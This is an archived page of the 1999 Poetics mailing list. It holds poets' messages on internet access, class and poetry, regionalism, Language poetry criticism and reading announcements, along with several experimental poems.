419. David Kirschenbaum — Creeley NYPL Exhibit Opening Coverage, from Booglit 6
420. Tony Green — Re: Bending, - Stooping!, Tlingit, Konniger
421. Tony Green — Re: Creeley In Company
422. Arielle C. Greenberg — Re: Recent David Lehman book
423. Maria L. Zavialov — Re: class
424. Richard Dillon — Re: re Bromige And the Provinces
425. Katherine Lederer — Re: Recent David Lehman book
426. Steve Dickison — ** Don't miss the George Oppen Lecture ** Thurs Dec 2 **
427. Alan Sondheim — (towards a poetics of multimedia/text)
428. Summi Kaipa — government funding in the arts
429. pete spence — Re: re Bromige And the Provinces
430. pete spence — Re: class

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431. Acharya Hom Raj — introduc

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432. Murat Nemet-Nejat — Class and Money
433. Alan Sondheim — INCUBATION: FINAL CALL FOR PAPERS - Deadline 1 December 1999 (fwd)
434. Louis Cabri — PhillyTalk #14
435. Randy Prunty — ARTEMESIA.....new mag call for submissions

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436. George Bowering — Re: re Bromige And the Provinces
437. George Bowering — Re: re Bromige And the Provinces

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438. Alan Sondheim — (no subject)
439. Katie Degentesh — 9X9X9X9X9X9X9X9
440. David Buuck — Gladman, Lu reading in SF 12/2

441. Kathy Lou Schultz — HOW2 event in San Francisco

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442. Richard Frey — Holley, Kelly, Loo, +? at 12/12 NOTcoffeeHouse
443. Jerrold Shiroma — New @ Duration Press
444. R I Caddel — New BUNTING book... (fwd)
445. Poetics List — avant garde / mckenzie
446. Poetics List — Monday's poetry reading / Fouhy
447. Brent Long — Please help
448. Poetry Project — this week at the Poetry Project
449. MAYHEW — (no subject)
450. david bromige — re : hierarchies of "excellence"
451. Steve Dickison — ** Oppen Lecture ** Clarification **
452. MAXINE CHERNOFF — Two Readings
453. Patrick F. Durgin — Re: Recent David Lehman book
454. George Bowering — Re: government funding in the arts
455. Alan Sondheim — a message from the past (fwd)
456. pete spence — Re: class
457. pete spence — Re: Class and Money
458. David Knoebel — Call for papers
459. hassen — Re: government funding in the arts

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460. Charles Bernstein — NYC reading 12/1
461. Tom Beckett — Prolegomena to a Phenomenology of Self-Help
462. Nielsen, Aldon — Fwd: Humor: Rules for Singin' the Blues
463. Nielsen, Aldon — Re: Recent David Lehman book
464. Lawrence Upton — Sub Voicive Poetry - end of / start of an era
465. Poetics List — Looking for Visual artists who use text / Smith
466. Michael Magee — apt in Brooklyn, roomates needed
467. Christopher Reiner — Extra, Extra...Gov't to Subsidize Poetry (sort of)
468. Pete — Re: community
469. Simon DeDeo — Class & Poet[ry/ics]
470. Elizabeth Treadwell — new chapbooks by women

1. Wendy Kramer
samuel delany
Thu 28 Oct 1999

hey, isn't samuel delany at univ. at buffalo this term? could someone in poetics program post what's been happening? what have y'all been talking about?

wendy

↑ Index

2. Lowther, John
Re: poetry audience/s
Fri 29 Oct 1999

tom beckett wrote; Miekal, / Cyberspace / is great / but only / inexpensive / if you can / afford access / to it. / I think yr / assumptions / are loaded / and wrong.

and i gotta 2nd that
if i should lose this job
(which is very possible
 next year the budget might not
 be there for a 3rd time position)
i'd lose all email and computer access
and be back in the lovely world
of letter writing
and sneaking in to my wife's
office late at night to work on her machine
which characterizes the way things
were all but the last year
for me

)ohn

↑ Index

3. D Wellman
Re: Bye
Fri 29 Oct 1999

I sometimes wonder if there are valid distinctions between public acts and private acts in this cyber-age. I am tempted to say that public and private have merged in ways that make many of us uncomfortable.

Still to construct complex works in and share in them an essentially public arena, to do that and not be noticed -- that strikes me as demoralizing. That we

are discussing the enactment not what is enacted also might be demoralizing. Part of what Alan seems to me to be saying is that not many here seem all that interested in the realities he is pursuing.

As private space gives way to public space one response is back biting. The question the Sondheim thread raises for me does concern the very possibility of maintining the author/reader response frame. I am interested in how poets negotiate possible positions for different and differing voices and what I see now is that the most common posture is largely defensive.

Like Hilton then I too am sorry to see Alan take a defensive posture.

I treasure the links that he sends as windows to a different order of inter-relation within these electronic spaces.

I am still trying to digest what any of this means to me, beyond the matter of postures and positions.

As a beginning of substantive response, I might say this much. When I am seated before a window scrolling through text, my internal editor seems to disconnect. I hardly ever read straight through something as the mechanism of scrolling might suggest I should be doing. Instead my eye jumps around looking for clues or hot spots. I am never sure that I have chosen to dwell on bits of any signifigance to any one but me. I think I want to follow my own path and for that reason I'd rather visit a web page than receive an e-mail. I'd love to be on a list that accepted html attachments. I appreciate too the problems of those with machines or connections that do not support such and wonder if there is not a technological factor of exclusion, of being excluded that is not part of the reasons for the response to Alan's work. It is like we are seeing the work at a level below the level that it is best made available to us, at a level that is difficult to engage. So that is my substantive comment: how does the work address the seeming imperative for engagement versus the temptation to scroll or delete. For me personally Alan's e-mail texts do that job when I feel I can engage with the Jennifer persona as some kind of Deleuzian body without organs madly replicating. And I wonder if one response to the electronic environment will not be the multiplacation of personae with in each of our otherwise situated selves.

--
Don Wellman

↑ Index

4. D Wellman
Re: poetry audience/s
Fri 29 Oct 1999

no one to authenticate the mission, imposed despised

"Nielsen, Aldon" wrote:

> *no one to impress or hustle, none to*
> *address, only Being & Nothingness,*
>
> *no one to drive the car*

--
Donald Wellman

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5. Kevin Killian
Donald M. Allen in San Francisco
Fri 29 Oct 1999

Just a brief note to say that, yes, if you are in San Francisco tonight (Friday October 29) and can come to the Small Press Traffic launch for the "New American Poetry" re-issue, the editor Donald M. Allen will indeed be there in person making a very rare appearance, yes, the Donald Allen of Evergreen Review fame and Frank O'Hara fame and this and that etc. Along with David Meltzer, Michael McClure, Barbara Guest, Ferlinghetti, Ron Loewinsohn amd Ebbe Borregaard who has not read anywhere for 25 years, so if you get this message in time please come to Small Press Traffic at New College at 7:30, 777 Valencia Street between 18th and 19th (San Francisco).

Whew, I haven't been this excited since Dodie and I chased the actor David Thewlis through the corridors of SF Airport because I wanted his autograph, and then it turned out it wasn't him after all, and I was saying, "But I saw you in 'Naked'!" and this -- impostor -- slash -- lookalike -- gave me the most appalled look!!!

Kevin Killian

↑ Index

6. miekal and
Re: poetry audience/s
Fri 29 Oct 1999

Tom,

Poetry books

are great

but only

inexpensive

if you can

afford access

to it.

I think yr

assumptions

are loaded

and wrong.

Miekal

(who wonders how much it costs to use internet access at a local library. out here the towns of 300 people have free internet access in their libraries, its everywhere out here in the middle of this nowhere.

↑ Index

7. Brian Lennon

Re: various stuff (reply to Alan Sondheim)

Fri 29 Oct 1999

Alan:

Seems to me that when the List dips into one of its periodic troughs of despond, it's abnormally tempting to posit 'groups' or 'bodies' (dominant and resistant) behind the constellations of voices that speak up. Thus we get notions of the List as a radical province polluted by liberals (or vice versa), or an avant-garde contaminated by folks who don't hate Pinsky, or, as you've reversed it, a "new mainstream" unable to assimilate the groundbreaking work now being done. Though I think you're right that some of the self-styled avantgardism on this List is hopelessly dated and mainly self-congratulatory, your work itself always reminds me that particularly in electronically mediated discourses there are no *essentializable* discursive groups: rather, what you get are shifting patterns of allegiance and dissent. Notions of total inclusion in, or exclusion from, the List as fantasized community seem equally meaningless to me.

Brian Lennon

>I think what's lacking here, at least for me (and possibly some others) is exactly what one means by poetics - and then, given that, what body - of

literature, people, texts, or media - that word should be applied to,here, on this list - Alan

↑ Index

8. miekal and
Re: poetry audience/s
Fri 29 Oct 1999

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o & tom these same libraries probably dont have a poetry book more contemporary than leaves of grass.

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9. miekal and
STANCE/self-love
Fri 29 Oct 1999

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too small not seen
sweep clean full emotion
your donkey piled upon him
softer than felt penetrate the
we'll have no worry what's to be done

"play with yourself, there, when no one is looking" closure abrupt. closure assumed. closure alias.

Closure trails discomfort. No glove that fits just right. When the words don't come easily, not just right, is this closure?

Sound breaks at the watchtower, filled the village

your love
knew the ashes

dissolved
and smeared
cold

radiant reds mixed
in my heart

returned from
profuse tears

I await
book after book

upon your
gracious efforts

showed only
a faded river flows

by this man
he misses heaven

buried alive
hidden in the middle

with the
sudden curled willow

crisscrosses
when their luck runs out

flustering the season
everyone talks force of pleasure

a pearl
quite empty
not having seen your lover

YOURS
http://trace.ntu.ac.uk/writers/sondheim/i.htm

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10. Jacques Debrot
Re: Atlanta Poetry Group
Fri 29 Oct 1999

It is wonderful, of course, to know 4 or 5 people with whom you share a passionate mutual interest, particularly if you feel this enthusiasm is stigmatized in some way by those outside your own immediate circle of friends. But seeing the tag "APG" turning up lately with increasing frequency, I can't help feeling, Mark, John, and Randy, that your "confederation" (if it hasn't already crossed over the line) is threatening to become unintentionally parodic. As it is, the utility of the APG (apart from giving you all something to do on a Friday evening) strikes me as pretty blatantly self-aggrandizing. (Each of you,

however, knows the truth or falsity of this better than I do: perhaps you should ask yourselves what exactly it is you experience when you see a reference to the APG included in a contributors note, or appended to a "controversial" post to the POETICS LIST.) In any case, I find these posts much less interesting as your collective "assurance" has grown.

But, please--consider this to be a friendly criticism (& perhaps, too, a goad for you to continue your association along more creatives lines than I have so far observed).

--jacques

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11. Poetry Project
next week at the Poetry Project
Fri 29 Oct 1999

Monday, November 1st

is our exciting and chaotic OPEN MIKE where all expectations are thwarted. 7:30 pm sign-up, reading at 8 pm.

Then,

Wednesday, November 3rd

at 8 pm

A reading by David Bromige & Elizabeth Fodaski

David Bromige has some poems on the Poetry Project web site at http://www.poetryproject.com/bromige.html for your electrical reading pleasure. He is also the author of over 30 books, including Piccolo Mondo, Initializing, & As in 'T' as in 'Tether.' Elizabeth Fodaski is the editor and publisher of Torque magazine, and the author of _fracas_ newly arrived from Krupskaya press.

And then,

Friday, November 5th

at 10:30 pm

Rattapallax magazine celebrates its 2nd anniversary with an open reading contest and featured readings by Lamont P. Steptoe, Ron Price, and George Dickerson. The best three readers will receive a FREE PC COMPUTER--yes, they work! From what we hear, they are actually state-of-the-art masterpieces of computorial construction.

All readings are $7, $4 for students and seniors
The Poetry Project is located in St. Mark's Church on the corner of 2nd Ave. and 10th St. in New York, NY.
Wheelchair accessible with advance notice. Call [redacted] for more information.

***

If you do not wish to be on our e-mail list, please respond to this message with a "remove me please" note.

***

And have a very, very wonderful Halloween, the holiday tailor-made for the poet (and artist) in you!

***

↑ Index

12. Pritchett,Patrick
obit for Alberti
Fri 29 Oct 1999

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http://www.nytimes.com/yr/mo/day/news/national/obit-r-alberti.html

↑ Index

13. Mary Burger
NEW BOOK: Lauren Gudath/Second Story Books
Fri 29 Oct 1999

NEW from SECOND STORY BOOKS:

>>THE TELEVISION DOCUMENTARY by Lauren Gudath
20 pages, sewn binding, vellum and vinyl cover.

"Isolated from the benefits and peek-a-boo regimen
cleanliness and godliness
the dynamo temperance
The specimen: neglect, instinct, mechanics,
abandoned surface. Pathetic England."
-- from The Television Documentary

ALSO AVAILABLE:

>>A SUMMER NEWSREEL by Brenda Coultas
23 pages, hand-stitched binding, vellum and monotone color photo cover.

"Those new to Coultas' writing are in for a fine treat: for several years, Coultas has been conducting an in-depth evaluation of the interstices of rural and semi-rural America and A Summer Newsreel is another stunning chapter in the most gloriously idiosyncratic work around." --Laird Hunt

>>NOT RIGHT NOW by Renee Gladman
24 pages, hand-stitched binding, vellum and monotone color photo cover.

"Twenty-five small, squarish prose paragraphs from on the bus, on the job, on the street, in the bed. Reading, one finds the world has been forgotten. And in the same moment the world has forgotten one." --Tom Clark

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http://www.spdbooks.org, tel. [redacted]

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14. Chris Stroffolino
Re: Will Alexander
Fri 29 Oct 1999

"Human Nerve Domain..." is published by Dave Baratier's Pavement Saw Press, (which also published my first full-length book a few years back) PO Box 6291, Columbus, OHIO. 43206.....It's $12....

c
On Thu, 28 Oct 1999, Pritchett,Patrick @Silverplume wrote:

> *I'd appreciate it if someone could tell me who has published Will Alexander's latest books,*
> *_Above the Human Nerve Domain_ and _Stratospheric Canticles_, as I think it's called.*
>
> *Plase backchannel -- thanks.*
>
> *Patrick Pritchett*
> [redacted]

↑ Index

15. Chris Stroffolino

to post or not to post....

Fri 29 Oct 1999

Character X says that Character Q has been driven off the list by Character J...

Someone else says that there are 7 basic plots

I've heard this before. I've heard many "things."

Someone else says "How fragile we are..."

Then Q comes back & says something like
it's okay to write death to death

and quoting my "self" (Stealer's Wheel, pg. 25)
say:
... To sqaunder doubt on the mundane
So the free meet the free in the free
While the urge to lose count gets its 15 minutes
And someone surely has my number
And can see through the soliloquys...

And then try to take responsibility
for my absence from the discussion
for the presence of absence
often conjured by writing

and then be nonetheless "petty" in the sequel

remembering the earlier incidents of k...
not only leaving the list
but dragging the list down with it (him)
during the darkest days of 98/99

and then there's the case of the to be published roof book
(edited by the very same K...)
of the circa 94-96 era of the list,
a book which AT ITS BEST may turn people to the
real discussion dynamics that existed on this list at the time,
but which AT ITS WORST distorts the power dynamics
involved in editing, and runs the risk of
SITTING IN for the list,
especially for those, like myself, who do not like to "curl up"
with a computer as much as they do with a book...

(i do not say this in malice....)

but in hopes that maybe this too will generate further discussion
(even if confined to "secret history" status,
 though one may 'bank' on foucault's theory of power, as they say)

and "alan we love you get up..."
et c.

↑ Index

16. Catherine Daly
Re: Business, class, access OR Piggly Wiggly?
Fri 29 Oct 1999

The idea of deliberate networking, especially among women or engineers or other non-participants in old boy networks, like that of posting things like RFPs or calls for papers on the web, is to make the availability of opportunities more democratic. They are hardly democratic, but at least closer to this ideal, if anyone with wherewithal can go to a convention and meet some people and get a job / get published / become engaged in an ongoing discussion.

What is wherewithal? What are "aspirations", as the desire to participate in the dominant culture from a position of relative power, or at least increased status, is often called? How is this related to the peculiar will to power that some have about getting other people to read their poems, schmooze, etc.? How does it separate those with it from those without it? How does it separate their poems?

How does having Marjorie Perloff's phone number and the wherewithal to dial her up to invite her out for sandwiches separate one from ... well, (for me) the other carhops at the root beer stand, but what did I have in common with them, either? Why would Perloff care if I called, especially as I'm not "known" as a "poet" or "critic" (by dint of... publication) and have nothing she wants, since she has no reason to give me anything I want. If I really think about it, maybe I could say, "hi, I ... saw you at PageMothers and the Jerome Rothenburg reading, but couldn't squeeze through the fawning crowd... just wanted to say hi, I've read all your work on your web site and appreciate your efforts." (At the root beer stand we cut up old plastic condiment jars and printed our names on them to leave on the trays, so we could tell whose tips, love notes, etc. were whose.)

If I had this wherewithal, or perhaps if I weren't using mine for other things, like separating myself from the other former carhops, perhaps everything would be different. I am idealizing the network as much as others idealize away what we're calling the "business" of poetry. I know no one meant to idealize the

other former car hops. Surely they must be continually pondering who they are, what they are?

To keep this on topic for the list: I notice a post for the Zinc Bar readings, which I recommend. I went to the Zinc Bar several weeks ago and heard Janet Bowden and Chris Stroffolino. Just the ability to breeze into town and hear a reading of this quality was fantastic. Janet read well, and Chris worked the crowd is his own inimitable style, which I found welcoming. The venue is fun, and even the bartender is translating Holderlein as he chops cases and cases of limes and mint for some exotic Brazilian drink which is apparently available hours after the reading ends, when the first of three samba shows begins. The bar is in the basement on Houston in what used to be called a "blind pig". The readings are in the way back (with Moorish decor, for some obscure reason) and they, alas, do not start at 6:37.

Anyone go to the Kenward Elmslie (sp?) reading at Beyond Baroque last night? I had to miss it and really regret that.

I am teaching a free workshop in the Pasadena Public Library tomorrow. We'll be talking and writing about masks and surrealism.

Regards,
Catherine Daly
[redacted]

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17. Thomas Bell
Re: various stuff
Fri 29 Oct 1999

---

well spoken alan. i think your definition broadens "poetics" in interesting ways that might well broaden a definition of poetry that would include all poetry, even the visual poetry Bob earlier fet was neglected on this list.

jeep posting

tom bell

Alan Sondheim wrote:
>
>
> "I think of poetics as looking at relationships among forms, phenomenolo-
> gies, literatures, in relation to writing/ inscription on one hand, and
> the body on the other. One might include the earth as well, and the foun-
> dation of the earth or the articulation of logics and structures beneath
> the surface of the earth. In other words, what happens when a mouth

> speaks, when words resonate, when empathy and not equivalence is primary?
> This is a far cry from the politics of poetics,
--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

18. kathylou

Responses to Ellis

Fri 29 Oct 1999

From: [redacted]
To: [redacted]
Date: Fri, 29 Oct 1999 18:08:33 +0000

Ellis:
Does it probably exclude the person(s) who remain back home (no longer home to some) at the rinky dink roller rink of the repetitious yet possibly common life of those who work the buy-and-sell scheme to ends at considerable variance from your (and each our) own?

KL:
Of course it can and does exclude "the person(s) who remain back home." That is much of my point. How are these people excluded? Through lack of access to the Internet, educational opportunities, travel opportunities, money, money, money, cultural capital, ability to buy books, lack of wide distribution (for many reasons) of most poetry books, etc.

Here's a specific example of access which is troubling. The editors of HOW2 are planning a launch party in San Francisco at which they want participants in the class and poetics forum to appear in a panel discussion. This is a wonderful idea which I support, but because HOW2 does not have money to pay for people to come, participation is limited to those who can afford to travel to SF, or who live locally. This is very difficult because several of those who participated in the forum were writing in part

of their own poor or working class situations and how this affected or related to their writing and poetics in general. That those people -- those who are often the least heard -- probably won't be able to participate is very troubling indeed.

Ellis: The Fix, let's call it - is this "confessional" mode really anything other than a way of side-stepping issues that are perpetually brought up by a whole class of previous side-steppers?

KL: What exactly am I supposed to be "side-stepping"? And just who are these "whole class of previous side-steppers"? Also curious that you seem to be confidant in making vast assumptions about my social and class positions, and life experiences.

Ellis:
Since it's a pretty low-wattage elevation, I can't help but wonder what it effects viz. the class issues you're trying to introduce, especially in terms of access; you're speaking of access to just what, exactly? If you're speaking of participatory opportunities, and the apparent lack of these among the less-privileged classes, then what is it you hope to accomplish, either for yourself, or for those you seem to be suggesting you've partly left behind, by hoisting yourself from what seems one rinky dink situation to another whose difference is mostly in the issues of access and priviledge you are now wont to descry? Are you now some sort of "spokesperson" for those left sorting lettuce deep into the night?

KL:
Your sarcasm about "spokesperson(s)" is unwarranted. As to what I am trying to access, by participating in this list you have already affirmed that access to discussion, events, and publications related to poetry and poetics have some value. They certainly have value to me personally. Your comments seem to imply that my "hoisting" myself into a position where I can participate in this discussion is somehow suspect. What is your point?

Ellis:
While I can respect wanting to "lay things bare" in this situation, I don't believe that your laying claim to an

understanding of the class structure of literary production as you've presented it - ie., excusing yourself without having even posed, let alone attempted to make answer to, some very tough questions regarding your own position along the lay lines of what looks to be a pretty unmapped and for now, over-simple field of metaphor - goes far enough.

KL:
Before making accusations as to what I have or haven't answered or asked, I would respectfully request that you at least have some familiarity with the work that I have done and am doing. If you want to have a discussion based upon actual knowledge of "my position" I would be happy to do so. In posting to this list I want to raise questions and participate in a conversation (that started by Jill Stengel). Dismissing me based upon a set of assumptions about me personally is far too easy. Great way to shut down any further inquiries into class issues and poetics. Happens all the time.

Kathy Lou Schultz

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19. Joe Amato
think i'll follow alan's lead here...
Fri 29 Oct 1999

---

dr lg 4.30.99: kss rgrdng "rdncks"

32:0.9.51 Rcvd: ">thnks fr ths thrd. wndr whthr thr s sm mddl grnd w \r\n"
32:0.9.52 Rcvd: ">cld lct hr. n th n hnd, cn rlt t -- ws t dny ?? --\r\n"
32:0.9.52 Rcvd: ">srry -- dny's frstrtn wth rrl cmmnts, whch r * ftn* --\r\n"
32:0.9.53 Rcvd: ">cn't w sy ths? -- qt cnsrvtv nd rsstnt t scl chng.\r\n"
32:0.9.54 Rcvd: "> s wht wmn whs fmly hls frm th pnnsylvn hlls (knwn t\r\n"
32:0.9.54 Rcvd: "> nsdrs s "pnnsyltcky"), vstd fr nmbr f rltvs n \r\n"
32:0.9.55 Rcvd: ">trlrs. s ndy's cstmrs r dbtlss rltd t my rltvs, wh ,\r\n"
32:0.9.55 Rcvd: ">by th wy, hv bn ftlly thrtnd nd lntd by my dctn nd\r\n"
32:0.9.56 Rcvd: ">pltcl cmmtmnt. t wld b nc f w cld fnd wy t tl" 32:0.10.7 Rcvd: "k\r\n" 32:0.10.8 Rcvd: ">tgthr bt ths lntns, nd bt th clss-spcfc dvd \r\n" 32:0.10.9 Rcvd: ">btwn "twn nd cntry" whch s tslf s ld s th hlls (r s t\r\n" 32:0.10.9 Rcvd: ">sms sm thnksgvngs...). s whl pprctd mly tth's\r\n"
32:0.10.10 Rcvd: "> bjctn -- bvsly, nt ll s "hcks" r cmpltly iggnerint -- hr\r\n"
32:0.10.10 Rcvd: ">tn ws s scldng s t ptntlly slnc rl cnvrstn bt\r\n"

32:0.10.11 Rcvd: ">hw bkstr , cllg , wmn's grp mght brdg ths dvds,\r\n" 32:0.10.12 Rcvd: ">whch d xst nd shld nt b ignored.\r\n" 32:0.10.12 Rcvd: ">\r\n" 32:0.10.13 Rcvd: ">sm f ths * s* bt th dsstrs pblshng ndstry (bt whch \r\n" 32:0.10.13 Rcvd: ">hv wrttn fr _ llns bk pblshrs_); nd sm f ths s bt\r\n" 32:0.10.14 Rcvd: "> dctnl nstttns, whch r ftn "bttr" (r s w ssm) n\r\n" 32:0.10.15 Rcvd: ">cts. bt hw mch f ths s bt pvrty? r w tlkng bt tht\r\n" 32:0.10.15 Rcvd: "> spct? nwdys lv n th sth sd f chcg -- hw wll r \r\n" 32:0.10.16 Rcvd: "> ndpndnt bkstrs dng dwn hr ? d gt frstrtd t tms whn\r\n" 32:0.10.16 Rcvd: ">"pvrty" n ths cntry s dfnd s rcl, nd s lctd n\r\n" 32:0.10.17 Rcvd: ">"ghtts." " 32:0.10.22 Rcvd: ""wht trsh," r rrl, pvrty s lrgly ignored s scl\r\n" 32:0.10.23 Rcvd: ">prblm. wht cn w d t srfc th fct tht t * s* prblm, nd\r\n" 32:0.10.24 Rcvd: "> ddrss tht prblm, wtht bng nsltng?\r\n" 32:0.10.24 Rcvd: ">\r\n" 32:0.10.25 Rcvd: ">mny thnks\r\n"

↑ Index

20. Alan Sondheim

Re: poetry audience/s

Fri 29 Oct 1999

At least here in New York, a lot of people have free access now - it will take a while but cyberspace is becoming cheaper and cheaper and cheaper. And an old 486 computer with Windows 3.1 can access most of it. I just got a Mac Centris 650 at the Salvation Army for $39.99 with Adobe Photoshop, Illustrator, etc. in it. There were other machines as well.

It takes a lot more money to have cable these days.

Alan

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm

↑ Index

21. dan raphael

Regionalism isn't be-littling

Sat 30 Oct 1999

My comment on the followers of stafford being refered to as 'hillbilly chic' was not a slag on stafford, who i knew and respected greatly, nor on hillbillies, since i grew up near the pennsylvania/ west virginia border and have complex reactions to that term, many of them positive. quick reactions dont always come from the utterers intention . and somehow assumingt hat because i mention stafford im making any comparison between his wor k and mine (which wasn't

mentioned at all, nor my personal aesthetics) in my post on local (oregon) poetics. i hope my coments cast no negative light on stafford; likewise id hope you'd take a little care before assuming negative intentions from others.

dan

Date: Thu, 28 Oct 1999 19:42:45 -0700
From: Billy Little <[redacted]>
Subject: Re: regionalism

dan always have difficulty with poets who imagine they're advancing their work by slagging masters with a different poetics. Stafford's no hillbilly, he's an amerkan, he's a poet of soul, he may express sentiments but he's not sentimental and he connects with millions. maybe if you wrote one poem as good as the hundreds of stafford's that have touched me deeply, it might sound less like sour grapes. do the work, you don't make yourself look better by trying to make others look worse.

↑ Index

22. miekal and

bybye eyeye

Sat 30 Oct 1999

```
=  =  = =  =  ==  =  = =  =  = =  =  =
| | |   | | |  | | | |  | | |  |
```

First of Kin, _joy_bother_vacuum

Here's a
jug of the best times.

Each season
waits for no man.

Bright pale far-reaching
transcendent
this scene
comes thru the window.

Unable to say something
no one's my own shadow.

Days and
ambition thinking
until dawn.

Depressed right thru impossible.

I find seldom can flower now.

Wild decay back where time goes by.

A noble simple old family
all in one place.

```
=  =  = =  =  ==  =  = =  =  = =  =  =
| | |   | | |  | |  | |  | | |  |
```

The Sorrow Project, 1000s of notes lining the habitat

hardship stirs

the village dogs bark

rising beyond delight

lacking the hopeless prosperity

hugging with enthusiasm the sick

idle breath filled with tears

dampen the brilliance in deliberations

still another drift songdragon

sounds of hidden mist

trap, trap, scatter water, deva-like

amorous season forced to part

dreams can't reach a perfect time

seize the wind, see nothing

```
=  =  = =  =  ==  =  = =  =  = =  =  =
| | |   | | |  | |  | |  | | |  |
```

clairaudio critique

Development of our literature
whose cobwebs over the stubble, vigorous grown lame
people reveled in the album sentiments, the spectres
lovely as fantasy, less felt, aversion for immortals.

Luke-warm Venus, pretty but stuffed-out
strings to break whose ghosts controlled poetry.

Genuine lyric with no serious belief --
dissolving pictures overflowing, mocked, disgusted.
Expression of love the literature in glaring dissonances,
street songs of self-consciousness (idle love and dream life)
mocks an original, transporting the sphinx of poetry.

These songs indicate the era of dissolution
has begun.

I think I was I'm tired I think I was I'm tired
I think I was I'm tired I think I was I'm tired

↑ Index

23. Alan Sondheim
ballet for foofwa d'imobilite
Sat 30 Oct 1999

(performances the next two nights as well at the Swiss Institute)

ballet

"some might comment 'what fun!' - disregarding the years of toil attached to these delightful ppowers. some might answer with a sigh: 'that would bbe a dream,' and here, indeed, we have the more realistic apppproach of the two. the secret of the realisation of the dream is that it must bbbe a vision which can also bbbe pperceived bbby an audience."

i am wearing the grown-ups' bodice with eight panels on the basque, oh so pretty pretty, my young breasts do swell, i do not wear the babies' bodice with two panels on the basque, oh so lovely ballet i will look?

sur les pointes d'avignon i will dance and fall off my tiny little bridge on my tiny little feet, my tape backing for beauty-ribbons and extra darning to hold my tiny little toes in place!

and i will rise up on my toes
and i will rise up on my toes

and the corded ribbon will hold my tiny feet in place, and the shoe may break where my sole touches the pure pure air as i balance on my extra extra darning!

and i will rise up on my toes
and i will rise up on my toes

and my tutu rises from my panties and breathes in and out of me, and the extra frills, the extra frills hold swollen from the basque, so very swollen

oh the seven inch frill, and the six inch frill, the frill of the lovely fifth, and the fourth inch frill, and oh! the frill of the two and a half inches, and comfort frill one of the one and a half!

and i have earned my tutu and my lower lips are shaved
and i have earned my tutu and my lower lips are shaved

rafique, i will glide effortlessly into your hands!
jonathan, you will raise me on your fingers!

and adam will lift me higher than anyone, my frills above him, his thin palm against my lower lips! and eve will caress me, my black lashes wet with tears that never show!

for this work looks effortless, but takes the greatest labor for this work looks easy, but believe you me it's hard

one day i will rise up
one day i will rise up

my toes will leave the ground
my toes will leave the ground

↑ Index

24. KENT JOHNSON
Poem #3
Sat 30 Oct 1999

At Least He Died Trying
(for John Lowther and the Atlanta Poetry Group)

How can "experimental" poetry
undertake to do to the institutions of Poetry
what Smithson undertook to do
to the institutions of Art?
How does "experimental" poetry
begin to move out of the studio?

↑ Index

25. Brent Cunningham
Re: SPD & the New Angle Press book
Sat 30 Oct 1999

The Garrett Caples Reader arrived at SPD this last Friday. It should now be available, this or any other moment.

Also wanted to remind the list that any book seen on the SPD site (which are the previous month's new titles) can be gotten for 20% off if you mention the code "WEB" during your order. Check back regularly--the site's titles change monthly, around the first week. The 20% offer probably won't last too many more months.

http://www.spdbooks.org

Brent Cunningham

At 05:27 PM 10/27/99 PDT, you wrote:
>We at Angle Press are pleased to Announce the publication of the first Real
>Book by Garrett Caples of Oakland, California:
>
>The Garrett Caples Reader
>
>(includes Mr. Caples's last poems)
>
>98 pgs, perfectbound, $9
>marvelously designed by Neko Buildings, and
>published in conjunction with John Yau's Black Square Editions
>
>This will be available through Small Press Distribution very soon (if not at
>this very moment...then that other moment that keeps passing very
>quickly....the one over there under the light).
>
>Thank you and good day
>
>
>
>
>
>
>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>

↑ Index

26. Jacques Debrot
Re: Poetic Culture
Sat 30 Oct 1999

Mark Wallace writes:

>>I think CBeach may be making a pretty good career out of talking about language poetry--but note the extent to which he does this by arguing that one of the strengths of language poetry is that, vis a vis poetics, it JUSTIFIES itself to

contempoary academic critical paradigms. In short he's not arguing FROM the position of the poetry itself, but from the position of an institutional critic who allows the relevance of language poetry only to the extent that it fits his critical discourse. It's the CRITICISM that's dominant; poetry conforms or not (at its peril).<<

I would agree that, in Beach's account (at least in that much of it I've read to this point), there is a devaluation of "poetic knowledge" -- an epistemology, in other words, that would somehow exist outside of contemporary critical paradigms. The difficulty, of course, is how to discuss poetic knowledge without reifying it.

Beach, however, is correct, I think, in pointing to the inadequacy of the attempts so far to represent the project of experimental writing in the aftermath of Language poetry. But it is precisely because poetry is a socially contingent discourse that the Language project needs to be re-evauated in the light of changing material & economic circumstances & will be seen, in some contexts, to have become irrelevant as a response to or a critique of present day social conditions.

Let me limit my remarks to just one example (though are others such as D. N. Rodwick's contention that "the era of signs is rapidly fading" and that we "have already entered the age of the figural"):

As I've started to do (incompletely & inadequately) in a recent article in ARSHILE, I am interested in articulating the problem of registering & mediating the body within artistic production--particularly as this was addressed by the New York Poets and by the Cage, Johns, Rauschenberg circle. Language Poetry, interestingly enough, begins as a reaction against the emphasis the New Americans had placed on the physical body in relation to the poetic line and moves instead, of course, toward a self-reflexive preoccupation with the mediation of inner experience by language. Watten explains this move away from the body as a response to the Vietnam conflict, "the era of napalm," etc. But the Language Poets' critique is aimed, not at the most "advanced" considerations of the body, but at Olson, who improperly essentialized the body as the ground & meaning of his work. Cage & the others are, by contrast, concerned with questions, anxieties, & fantasies concerning the body that are significantly different from Olson's (& I would argue interesting relevant in the current context (questions concerning gender identification, etc.) & never adequately "followed up"). Beach's dismissal (in his "Conclusion") of the *erotic* as it manifests itself in post language exp writing (as opposed to his validation of the "multicultural") only perpetuates the Language Poets's suppresion of the physical body in their work (the body is an obstacle to be overcome) and the problems the body "raises (arouses)" [Helen Molesworth].

Of course this suppression was only incomplete--Hannah Weiner, & Leslie Scalapino, for example, seem to me to be important exceptions. Beach's representation of Language poetry does not begin to address the contradictoriness of the Language project. But nor does the post-LangPo critical articulation of Language--even when in practice new writing may perhaps be even now taking up & extending LangPos largely supressed or misunderstood "marginal" aspects.

--jacques

↑ Index

27. Lowther, John

giveaway time

Sat 30 Oct 1999

{ p o e t i x }

i got some goodies to send to folks
i'll be mailing to the 1st 10 womens and mens
who send me their postal addresses

and yes, anywhere in the world is fine

[redacted]

↑ Index

28. David Baratier

